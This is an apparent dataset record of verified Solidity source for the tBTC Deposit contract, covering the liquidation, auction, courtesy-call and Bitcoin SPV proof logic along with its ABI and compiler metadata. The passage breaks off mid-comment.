/// a utility helper for the vending machine's shortcut
/// TBTC->redemption path.
/// @param _outputValueBytes The 8-byte little-endian output size.
/// @param _redeemerOutputScript The redeemer's length-prefixed output script.
/// @param _finalRecipient The address to receive the TDT and later be recorded as deposit redeemer.
function transferAndRequestRedemption(
bytes8 _outputValueBytes,
bytes memory _redeemerOutputScript,
address payable _finalRecipient
) public { // not external to allow bytes memory parameters
require(
msg.sender == self.vendingMachineAddress,
"Only the vending machine can call transferAndRequestRedemption"
);
self.transferAndRequestRedemption(
_outputValueBytes,
_redeemerOutputScript,
_finalRecipient
);
}
/// @notice Withdraw the ETH balance of the deposit allotted to the caller.
/// @dev Withdrawals can only happen when a contract is in an end-state.
function withdrawFunds() external {
self.withdrawFunds();
}
} | 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|||
Deposit | solidity/contracts/deposit/DepositLiquidation.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity 0.5.17;
import {BTCUtils} from "@summa-tx/bitcoin-spv-sol/contracts/BTCUtils.sol";
import {BytesLib} from "@summa-tx/bitcoin-spv-sol/contracts/BytesLib.sol";
import {IBondedECDSAKeep} from "@keep-network/keep-ecdsa/contracts/api/IBondedECDSAKeep.sol";
import {SafeMath} from "openzeppelin-solidity/contracts/math/SafeMath.sol";
import {DepositStates} from "./DepositStates.sol";
import {DepositUtils} from "./DepositUtils.sol";
import {TBTCConstants} from "../system/TBTCConstants.sol";
import {OutsourceDepositLogging} from "./OutsourceDepositLogging.sol";
import {TBTCToken} from "../system/TBTCToken.sol";
import {ITBTCSystem} from "../interfaces/ITBTCSystem.sol";
library DepositLiquidation {
using BTCUtils for bytes;
using BytesLib for bytes;
using SafeMath for uint256;
using SafeMath for uint64;
using DepositUtils for DepositUtils.Deposit;
using DepositStates for DepositUtils.Deposit;
using OutsourceDepositLogging for DepositUtils.Deposit;
/// @notice Notifies the keep contract of fraud. Reverts if not fraud.
/// @dev Calls out to the keep contract. this could get expensive if preimage
/// is large.
/// @param _d Deposit storage pointer.
/// @param _v Signature recovery value.
/// @param _r Signature R value.
/// @param _s Signature S value.
/// @param _signedDigest The digest signed by the signature vrs tuple.
/// @param _preimage The sha256 preimage of the digest.
function submitSignatureFraud(
DepositUtils.Deposit storage _d,
uint8 _v,
bytes32 _r,
bytes32 _s,
bytes32 _signedDigest,
bytes memory _preimage
) public {
IBondedECDSAKeep _keep = IBondedECDSAKeep(_d.keepAddress);
_keep.submitSignatureFraud(_v, _r, _s, _signedDigest, _preimage);
}
/// @notice Determines the collateralization percentage of the signing group.
/// @dev Compares the bond value and lot value.
/// @param _d Deposit storage pointer.
/// @return Collateralization percentage as uint.
function collateralizationPercentage(DepositUtils.Deposit storage _d) public view returns (uint256) {
// Determine value of the lot in wei
uint256 _satoshiPrice = _d.fetchBitcoinPrice();
uint64 _lotSizeSatoshis = _d.lotSizeSatoshis;
uint256 _lotValue = _lotSizeSatoshis.mul(_satoshiPrice);
// Amount of wei the signers have
uint256 _bondValue = _d.fetchBondAmount();
// This converts into a percentage
return (_bondValue.mul(100).div(_lotValue));
}
/// @dev Starts signer liquidation by seizing signer bonds.
/// If the deposit is currently being redeemed, the redeemer
/// receives the full bond value; otherwise, a falling price auction
/// begins to buy 1 TBTC in exchange for a portion of the seized bonds;
/// see purchaseSignerBondsAtAuction().
/// @param _wasFraud True if liquidation is being started due to fraud, false if for any other reason.
/// @param _d Deposit storage pointer.
function startLiquidation(DepositUtils.Deposit storage _d, bool _wasFraud) internal {
_d.logStartedLiquidation(_wasFraud);
uint256 seized = _d.seizeSignerBonds();
address redeemerAddress = _d.redeemerAddress;
// Reclaim used state for gas savings
_d.redemptionTeardown();
// If we see fraud in the redemption flow, we shouldn't go to auction.
// Instead give the full signer bond directly to the redeemer.
if (_d.inRedemption() && _wasFraud) {
_d.setLiquidated();
_d.enableWithdrawal(redeemerAddress, seized);
_d.logLiquidated();
return;
}
_d.liquidationInitiator = msg.sender;
_d.liquidationInitiated = block.timestamp; // Store the timestamp for auction
if(_wasFraud){
_d.setFraudLiquidationInProgress();
}
else{
_d.setLiquidationInProgress();
}
}
/// @notice Anyone can provide a signature that was not requested to prove fraud.
/// @dev Calls out to the keep to verify if there was fraud.
/// @param _d Deposit storage pointer.
/// @param _v Signature recovery value.
/// @param _r Signature R value.
/// @param _s Signature S value.
/// @param _signedDigest The digest signed by the signature vrs tuple.
/// @param _preimage The sha256 preimage of the digest.
function provideECDSAFraudProof(
DepositUtils.Deposit storage _d,
uint8 _v,
bytes32 _r,
bytes32 _s,
bytes32 _signedDigest,
bytes memory _preimage
) public { // not external to allow bytes memory parameters
require(
!_d.inFunding(),
"Use provideFundingECDSAFraudProof instead"
);
require(
!_d.inSignerLiquidation(),
"Signer liquidation already in progress"
);
require(!_d.inEndState(), "Contract has halted");
submitSignatureFraud(_d, _v, _r, _s, _signedDigest, _preimage);
startLiquidation(_d, true);
}
/// @notice Closes an auction and purchases the signer bonds. Payout to buyer, funder, then signers if not fraud.
/// @dev For interface, reading auctionValue will give a past value. the current is better.
/// @param _d Deposit storage pointer.
function purchaseSignerBondsAtAuction(DepositUtils.Deposit storage _d) external {
bool _wasFraud = _d.inFraudLiquidationInProgress();
require(_d.inSignerLiquidation(), "No active auction");
_d.setLiquidated();
_d.logLiquidated();
// Send the TBTC to the redeemer if they exist, otherwise to the TDT
// holder. If the TDT holder is the Vending Machine, burn it to maintain
// the peg. This is because, if there is a redeemer set here, the TDT
// holder has already been made whole at redemption request time.
address tbtcRecipient = _d.redeemerAddress;
if (tbtcRecipient == address(0)) {
tbtcRecipient = _d.depositOwner();
}
uint256 lotSizeTbtc = _d.lotSizeTbtc();
require(_d.tbtcToken.balanceOf(msg.sender) >= lotSizeTbtc, "Not enough TBTC to cover outstanding debt");
if(tbtcRecipient == _d.vendingMachineAddress){
_d.tbtcToken.burnFrom(msg.sender, lotSizeTbtc); // burn minimal amount to cover size
}
else{
_d.tbtcToken.transferFrom(msg.sender, tbtcRecipient, lotSizeTbtc);
}
// Distribute funds to auction buyer
uint256 valueToDistribute = _d.auctionValue();
_d.enableWithdrawal(msg.sender, valueToDistribute);
// Send any TBTC left to the Fee Rebate Token holder
_d.distributeFeeRebate();
// For fraud, pay remainder to the liquidation initiator.
// For non-fraud, split 50-50 between initiator and signers. if the transfer amount is 1,
// division will yield a 0 value which causes a revert; instead,
// we simply ignore such a tiny amount and leave some wei dust in escrow
uint256 contractEthBalance = address(this).balance;
address payable initiator = _d.liquidationInitiator;
if (initiator == address(0)){
initiator = address(0xdead);
}
if (contractEthBalance > valueToDistribute + 1) {
uint256 remainingUnallocated = contractEthBalance.sub(valueToDistribute);
if (_wasFraud) {
_d.enableWithdrawal(initiator, remainingUnallocated);
} else {
// There will always be a liquidation initiator.
uint256 split = remainingUnallocated.div(2);
_d.pushFundsToKeepGroup(split);
_d.enableWithdrawal(initiator, remainingUnallocated.sub(split));
}
}
}
/// @notice Notify the contract that the signers are undercollateralized.
/// @dev Calls out to the system for oracle info.
/// @param _d Deposit storage pointer.
function notifyCourtesyCall(DepositUtils.Deposit storage _d) external {
require(_d.inActive(), "Can only courtesy call from active state");
require(collateralizationPercentage(_d) < _d.undercollateralizedThresholdPercent, "Signers have sufficient collateral");
_d.courtesyCallInitiated = block.timestamp;
_d.setCourtesyCall();
_d.logCourtesyCalled();
}
/// @notice Goes from courtesy call to active.
/// @dev Only callable if collateral is sufficient and the deposit is not expiring.
/// @param _d Deposit storage pointer.
function exitCourtesyCall(DepositUtils.Deposit storage _d) external {
require(_d.inCourtesyCall(), "Not currently in courtesy call");
require(collateralizationPercentage(_d) >= _d.undercollateralizedThresholdPercent, "Deposit is still undercollateralized");
_d.setActive();
_d.logExitedCourtesyCall();
}
/// @notice Notify the contract that the signers are undercollateralized.
/// @dev Calls out to the system for oracle info.
/// @param _d Deposit storage pointer.
function notifyUndercollateralizedLiquidation(DepositUtils.Deposit storage _d) external {
require(_d.inRedeemableState(), "Deposit not in active or courtesy call");
require(collateralizationPercentage(_d) < _d.severelyUndercollateralizedThresholdPercent, "Deposit has sufficient collateral");
startLiquidation(_d, false);
}
/// @notice Notifies the contract that the courtesy period has elapsed.
/// @dev This is treated as an abort, rather than fraud.
/// @param _d Deposit storage pointer.
function notifyCourtesyCallExpired(DepositUtils.Deposit storage _d) external {
require(_d.inCourtesyCall(), "Not in a courtesy call period");
require(block.timestamp >= _d.courtesyCallInitiated.add(TBTCConstants.getCourtesyCallTimeout()), "Courtesy period has not elapsed");
startLiquidation(_d, false);
}
} | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"auctionValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"collateralizationPercentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"currentState","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"exitCourtesyCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"fundingInfo","outputs":[{"internalType":"bytes8","name":"utxoValueBytes","type":"bytes8"},{"internalType":"uint256","name":"fundedAt","type":"uint256"},{"internalType":"bytes","name":"utxoOutpoint","type":"bytes"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_redeemer","type":"address"}],"name":"getOwnerRedemptionTbtcRequirement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_redeemer","type":"address"}],"name":"getRedemptionTbtcRequirement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"inActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_previousOutputValueBytes","type":"bytes8"},{"internalType":"bytes8","name":"_newOutputValueBytes","type":"bytes8"}],"name":"increaseRedemptionFee","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"initialCollateralizedPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_factory","type":"address"}],"name":"initialize","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"contract ITBTCSystem","name":"_tbtcSystem","type":"address"},{"internalType":"contract TBTCToken","name":"_tbtcToken","type":"address"},{"internalType":"contract IERC721","name":"_tbtcDepositToken","type":"address"},{"internalType":"contract FeeRebateToken","name":"_feeRebateToken","type":"address"},{"internalType":"address","name":"_vendingMachineAddress","type":"address"},{"internalType":"uint64","name":"_lotSizeSatoshis","type":"uint64"}],"name":"initializeDeposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"keepAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lotSizeSatoshis","outputs":[{"internalType":"uint64","name":"","type":"uint64"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lotSizeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"notifyCourtesyCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyCourtesyCallExpired","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyFundingTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyRedemptionProofTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyRedemptionSignatureTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifySignerSetupFailed","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyUndercollateralizedLiquidation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_txVersion","type":"bytes4"},{"internalType":"bytes","name":"_txInputVector","type":"bytes"},{"internalType":"bytes","name":"_txOutputVector","type":"bytes"},{"internalType":"bytes4","name":"_txLocktime","type":"bytes4"},{"internalType":"uint8","name":"_fundingOutputIndex","type":"uint8"},{"internalType":"bytes","name":"_merkleProof","type":"bytes"},{"internalType":"uint256","name":"_txIndexInBlock","type":"uint256"},{"internalType":"bytes","name":"_bitcoinHeaders","type":"bytes"}],"name":"provideBTCFundingProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"},{"internalType":"bytes32","name":"_signedDigest","type":"bytes32"},{"internalType":"bytes","name":"_preimage","type":"bytes"}],"name":"provideECDSAFraudProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"},{"internalType":"bytes32","name":"_signedDigest","type":"bytes32"},{"internalType":"bytes","name":"_preimage","type":"bytes"}],"name":"provideFundingECDSAFraudProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_txVersion","type":"bytes4"},{"internalType":"bytes","name":"_txInputVector","type":"bytes"},{"internalType":"bytes","name":"_txOutputVector","type":"bytes"},{"internalType":"bytes4","name":"_txLocktime","type":"bytes4"},{"internalType":"bytes","name":"_merkleProof","type":"bytes"},{"internalType":"uint256","name":"_txIndexInBlock","type":"uint256"},{"internalType":"bytes","name":"_bitcoinHeaders","type":"bytes"}],"name":"provideRedemptionProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"}],"name":"provideRedemptionSignature","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"purchaseSignerBondsAtAuction","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"remainingTerm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes","name":"_abortOutputScript","type":"bytes"}],"name":"requestFunderAbort","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"}],"name":"requestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"retrieveSignerPubkey","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"severelyUndercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"signerFeeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"},{"internalType":"address payable","name":"_finalRecipient","type":"address"}],"name":"transferAndRequestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"undercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"utxoValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"withdrawableAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | MIT | false | bzzr://ec55669da878d6a87041b177cab080114051affcfb740deffc7517dc1385feab |
|||
Deposit | solidity/contracts/deposit/DepositUtils.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity 0.5.17;
import {ValidateSPV} from "@summa-tx/bitcoin-spv-sol/contracts/ValidateSPV.sol";
import {BTCUtils} from "@summa-tx/bitcoin-spv-sol/contracts/BTCUtils.sol";
import {BytesLib} from "@summa-tx/bitcoin-spv-sol/contracts/BytesLib.sol";
import {IBondedECDSAKeep} from "@keep-network/keep-ecdsa/contracts/api/IBondedECDSAKeep.sol";
import {IERC721} from "openzeppelin-solidity/contracts/token/ERC721/IERC721.sol";
import {SafeMath} from "openzeppelin-solidity/contracts/math/SafeMath.sol";
import {DepositStates} from "./DepositStates.sol";
import {TBTCConstants} from "../system/TBTCConstants.sol";
import {ITBTCSystem} from "../interfaces/ITBTCSystem.sol";
import {TBTCToken} from "../system/TBTCToken.sol";
import {FeeRebateToken} from "../system/FeeRebateToken.sol";
library DepositUtils {
using SafeMath for uint256;
using SafeMath for uint64;
using BytesLib for bytes;
using BTCUtils for bytes;
using BTCUtils for uint256;
using ValidateSPV for bytes;
using ValidateSPV for bytes32;
using DepositStates for DepositUtils.Deposit;
struct Deposit {
// SET DURING CONSTRUCTION
ITBTCSystem tbtcSystem;
TBTCToken tbtcToken;
IERC721 tbtcDepositToken;
FeeRebateToken feeRebateToken;
address vendingMachineAddress;
uint64 lotSizeSatoshis;
uint8 currentState;
uint16 signerFeeDivisor;
uint16 initialCollateralizedPercent;
uint16 undercollateralizedThresholdPercent;
uint16 severelyUndercollateralizedThresholdPercent;
uint256 keepSetupFee;
// SET ON FRAUD
uint256 liquidationInitiated; // Timestamp of when liquidation starts
uint256 courtesyCallInitiated; // When the courtesy call is issued
address payable liquidationInitiator;
// written when we request a keep
address keepAddress; // The address of our keep contract
uint256 signingGroupRequestedAt; // timestamp of signing group request
// written when we get a keep result
uint256 fundingProofTimerStart; // start of the funding proof period. reused for funding fraud proof period
bytes32 signingGroupPubkeyX; // The X coordinate of the signing group's pubkey
bytes32 signingGroupPubkeyY; // The Y coordinate of the signing group's pubkey
// INITIALLY WRITTEN BY REDEMPTION FLOW
address payable redeemerAddress; // The redeemer's address, used as fallback for fraud in redemption
bytes redeemerOutputScript; // The redeemer output script
uint256 initialRedemptionFee; // the initial fee as requested
uint256 latestRedemptionFee; // the fee currently required by a redemption transaction
uint256 withdrawalRequestTime; // the most recent withdrawal request timestamp
bytes32 lastRequestedDigest; // the digest most recently requested for signing
// written when we get funded
bytes8 utxoValueBytes; // LE uint. the size of the deposit UTXO in satoshis
uint256 fundedAt; // timestamp when funding proof was received
bytes utxoOutpoint; // the 36-byte outpoint of the custodied UTXO
/// @dev Map of ETH balances an address can withdraw after contract reaches ends-state.
mapping(address => uint256) withdrawableAmounts;
/// @dev Map of timestamps representing when transaction digests were approved for signing
mapping (bytes32 => uint256) approvedDigests;
}
/// @notice Closes keep associated with the deposit.
/// @dev Should be called when the keep is no longer needed and the signing
/// group can disband.
function closeKeep(DepositUtils.Deposit storage _d) internal {
IBondedECDSAKeep _keep = IBondedECDSAKeep(_d.keepAddress);
_keep.closeKeep();
}
/// @notice Gets the current block difficulty.
/// @dev Calls the light relay and gets the current block difficulty.
/// @return The difficulty.
function currentBlockDifficulty(Deposit storage _d) public view returns (uint256) {
return _d.tbtcSystem.fetchRelayCurrentDifficulty();
}
/// @notice Gets the previous block difficulty.
/// @dev Calls the light relay and gets the previous block difficulty.
/// @return The difficulty.
function previousBlockDifficulty(Deposit storage _d) public view returns (uint256) {
return _d.tbtcSystem.fetchRelayPreviousDifficulty();
}
/// @notice Evaluates the header difficulties in a proof.
/// @dev Uses the light oracle to source recent difficulty.
/// @param _bitcoinHeaders The header chain to evaluate.
/// @return True if acceptable, otherwise revert.
function evaluateProofDifficulty(Deposit storage _d, bytes memory _bitcoinHeaders) public view {
uint256 _reqDiff;
uint256 _current = currentBlockDifficulty(_d);
uint256 _previous = previousBlockDifficulty(_d);
uint256 _firstHeaderDiff = _bitcoinHeaders.extractTarget().calculateDifficulty();
if (_firstHeaderDiff == _current) {
_reqDiff = _current;
} else if (_firstHeaderDiff == _previous) {
_reqDiff = _previous;
} else {
revert("not at current or previous difficulty");
}
uint256 _observedDiff = _bitcoinHeaders.validateHeaderChain();
require(_observedDiff != ValidateSPV.getErrBadLength(), "Invalid length of the headers chain");
require(_observedDiff != ValidateSPV.getErrInvalidChain(), "Invalid headers chain");
require(_observedDiff != ValidateSPV.getErrLowWork(), "Insufficient work in a header");
require(
_observedDiff >= _reqDiff.mul(TBTCConstants.getTxProofDifficultyFactor()),
"Insufficient accumulated difficulty in header chain"
);
}
/// @notice Syntactically check an SPV proof for a bitcoin transaction with its hash (ID).
/// @dev Stateless SPV Proof verification documented elsewhere (see https://github.com/summa-tx/bitcoin-spv).
/// @param _d Deposit storage pointer.
/// @param _txId The bitcoin txid of the tx that is purportedly included in the header chain.
/// @param _merkleProof The merkle proof of inclusion of the tx in the bitcoin block.
/// @param _txIndexInBlock The index of the tx in the Bitcoin block (0-indexed).
/// @param _bitcoinHeaders An array of tightly-packed bitcoin headers.
function checkProofFromTxId(
Deposit storage _d,
bytes32 _txId,
bytes memory _merkleProof,
uint256 _txIndexInBlock,
bytes memory _bitcoinHeaders
) public view{
require(
_txId.prove(
_bitcoinHeaders.extractMerkleRootLE().toBytes32(),
_merkleProof,
_txIndexInBlock
),
"Tx merkle proof is not valid for provided header and txId");
evaluateProofDifficulty(_d, _bitcoinHeaders);
}
/// @notice Find and validate funding output in transaction output vector using the index.
/// @dev Gets `_fundingOutputIndex` output from the output vector and validates if it is
/// a p2wpkh output with public key hash matching this deposit's public key hash.
/// @param _d Deposit storage pointer.
/// @param _txOutputVector All transaction outputs prepended by the number of outputs encoded as a VarInt, max 0xFC outputs.
/// @param _fundingOutputIndex Index of funding output in _txOutputVector.
/// @return Funding value.
function findAndParseFundingOutput(
DepositUtils.Deposit storage _d,
bytes memory _txOutputVector,
uint8 _fundingOutputIndex
) public view returns (bytes8) {
bytes8 _valueBytes;
bytes memory _output;
// Find the output paying the signer PKH
_output = _txOutputVector.extractOutputAtIndex(_fundingOutputIndex);
require(
keccak256(_output.extractHash()) == keccak256(abi.encodePacked(signerPKH(_d))),
"Could not identify output funding the required public key hash"
);
require(
_output.length == 31 &&
_output.keccak256Slice(8, 23) == keccak256(abi.encodePacked(hex"160014", signerPKH(_d))),
"Funding transaction output type unsupported: only p2wpkh outputs are supported"
);
_valueBytes = bytes8(_output.slice(0, 8).toBytes32());
return _valueBytes;
}
/// @notice Validates the funding tx and parses information from it.
/// @dev Takes a pre-parsed transaction and calculates values needed to verify funding.
/// @param _d Deposit storage pointer.
/// @param _txVersion Transaction version number (4-byte LE).
/// @param _txInputVector All transaction inputs prepended by the number of inputs encoded as a VarInt, max 0xFC(252) inputs.
/// @param _txOutputVector All transaction outputs prepended by the number of outputs encoded as a VarInt, max 0xFC(252) outputs.
/// @param _txLocktime Final 4 bytes of the transaction.
/// @param _fundingOutputIndex Index of funding output in _txOutputVector (0-indexed).
/// @param _merkleProof The merkle proof of transaction inclusion in a block.
/// @param _txIndexInBlock Transaction index in the block (0-indexed).
/// @param _bitcoinHeaders Single bytestring of 80-byte bitcoin headers, lowest height first.
/// @return The 8-byte LE UTXO size in satoshi, the 36byte outpoint.
function validateAndParseFundingSPVProof(
DepositUtils.Deposit storage _d,
bytes4 _txVersion,
bytes memory _txInputVector,
bytes memory _txOutputVector,
bytes4 _txLocktime,
uint8 _fundingOutputIndex,
bytes memory _merkleProof,
uint256 _txIndexInBlock,
bytes memory _bitcoinHeaders
) public view returns (bytes8 _valueBytes, bytes memory _utxoOutpoint){ // not external to allow bytes memory parameters
require(_txInputVector.validateVin(), "invalid input vector provided");
require(_txOutputVector.validateVout(), "invalid output vector provided");
bytes32 txID = abi.encodePacked(_txVersion, _txInputVector, _txOutputVector, _txLocktime).hash256();
_valueBytes = findAndParseFundingOutput(_d, _txOutputVector, _fundingOutputIndex);
require(bytes8LEToUint(_valueBytes) >= _d.lotSizeSatoshis, "Deposit too small");
checkProofFromTxId(_d, txID, _merkleProof, _txIndexInBlock, _bitcoinHeaders);
// The utxoOutpoint is the LE txID plus the index of the output as a 4-byte LE int
// _fundingOutputIndex is a uint8, so we know it is only 1 byte
// Therefore, pad with 3 more bytes
_utxoOutpoint = abi.encodePacked(txID, _fundingOutputIndex, hex"000000");
}
/// @notice Retreive the remaining term of the deposit
/// @dev The return value is not guaranteed since block.timestmap can be lightly manipulated by miners.
/// @return The remaining term of the deposit in seconds. 0 if already at term
function remainingTerm(DepositUtils.Deposit storage _d) public view returns(uint256){
uint256 endOfTerm = _d.fundedAt.add(TBTCConstants.getDepositTerm());
if(block.timestamp < endOfTerm ) {
return endOfTerm.sub(block.timestamp);
}
return 0;
}
/// @notice Calculates the amount of value at auction right now.
/// @dev We calculate the % of the auction that has elapsed, then scale the value up.
/// @param _d Deposit storage pointer.
/// @return The value in wei to distribute in the auction at the current time.
function auctionValue(Deposit storage _d) external view returns (uint256) {
uint256 _elapsed = block.timestamp.sub(_d.liquidationInitiated);
uint256 _available = address(this).balance;
if (_elapsed > TBTCConstants.getAuctionDuration()) {
return _available;
}
// This should make a smooth flow from base% to 100%
uint256 _basePercentage = getAuctionBasePercentage(_d);
uint256 _elapsedPercentage = uint256(100).sub(_basePercentage).mul(_elapsed).div(TBTCConstants.getAuctionDuration());
uint256 _percentage = _basePercentage.add(_elapsedPercentage);
return _available.mul(_percentage).div(100);
}
/// @notice Gets the lot size in erc20 decimal places (max 18)
/// @return uint256 lot size in 10**18 decimals.
function lotSizeTbtc(Deposit storage _d) public view returns (uint256){
return _d.lotSizeSatoshis.mul(TBTCConstants.getSatoshiMultiplier());
}
/// @notice Determines the fees due to the signers for work performed.
/// @dev Signers are paid based on the TBTC issued.
/// @return Accumulated fees in 10**18 decimals.
function signerFeeTbtc(Deposit storage _d) public view returns (uint256) {
return lotSizeTbtc(_d).div(_d.signerFeeDivisor);
}
/// @notice Determines the prefix to the compressed public key.
/// @dev The prefix encodes the parity of the Y coordinate.
/// @param _pubkeyY The Y coordinate of the public key.
/// @return The 1-byte prefix for the compressed key.
function determineCompressionPrefix(bytes32 _pubkeyY) public pure returns (bytes memory) {
if(uint256(_pubkeyY) & 1 == 1) {
return hex"03"; // Odd Y
} else {
return hex"02"; // Even Y
}
}
/// @notice Compresses a public key.
/// @dev Converts the 64-byte key to a 33-byte key, bitcoin-style.
/// @param _pubkeyX The X coordinate of the public key.
/// @param _pubkeyY The Y coordinate of the public key.
/// @return The 33-byte compressed pubkey.
function compressPubkey(bytes32 _pubkeyX, bytes32 _pubkeyY) public pure returns (bytes memory) {
return abi.encodePacked(determineCompressionPrefix(_pubkeyY), _pubkeyX);
}
/// @notice Returns the packed public key (64 bytes) for the signing group.
/// @dev We store it as 2 bytes32, (2 slots) then repack it on demand.
/// @return 64 byte public key.
function signerPubkey(Deposit storage _d) external view returns (bytes memory) {
return abi.encodePacked(_d.signingGroupPubkeyX, _d.signingGroupPubkeyY);
}
/// @notice Returns the Bitcoin pubkeyhash (hash160) for the signing group.
/// @dev This is used in bitcoin output scripts for the signers.
/// @return 20-bytes public key hash.
function signerPKH(Deposit storage _d) public view returns (bytes20) {
bytes memory _pubkey = compressPubkey(_d.signingGroupPubkeyX, _d.signingGroupPubkeyY);
bytes memory _digest = _pubkey.hash160();
return bytes20(_digest.toAddress(0)); // dirty solidity hack
}
/// @notice Returns the size of the deposit UTXO in satoshi.
/// @dev We store the deposit as bytes8 to make signature checking easier.
/// @return UTXO value in satoshi.
function utxoValue(Deposit storage _d) external view returns (uint256) {
return bytes8LEToUint(_d.utxoValueBytes);
}
/// @notice Gets the current price of Bitcoin in Ether.
/// @dev Polls the price feed via the system contract.
/// @return The current price of 1 sat in wei.
function fetchBitcoinPrice(Deposit storage _d) external view returns (uint256) {
return _d.tbtcSystem.fetchBitcoinPrice();
}
/// @notice Fetches the Keep's bond amount in wei.
/// @dev Calls the keep contract to do so.
/// @return The amount of bonded ETH in wei.
function fetchBondAmount(Deposit storage _d) external view returns (uint256) {
IBondedECDSAKeep _keep = IBondedECDSAKeep(_d.keepAddress);
return _keep.checkBondAmount();
}
/// @notice Convert a LE bytes8 to a uint256.
/// @dev Do this by converting to bytes, then reversing endianness, then converting to int.
/// @return The uint256 represented in LE by the bytes8.
function bytes8LEToUint(bytes8 _b) public pure returns (uint256) {
return abi.encodePacked(_b).reverseEndianness().bytesToUint();
}
/// @notice Gets timestamp of digest approval for signing.
/// @dev Identifies entry in the recorded approvals by keep ID and digest pair.
/// @param _digest Digest to check approval for.
/// @return Timestamp from the moment of recording the digest for signing.
/// Returns 0 if the digest was not approved for signing.
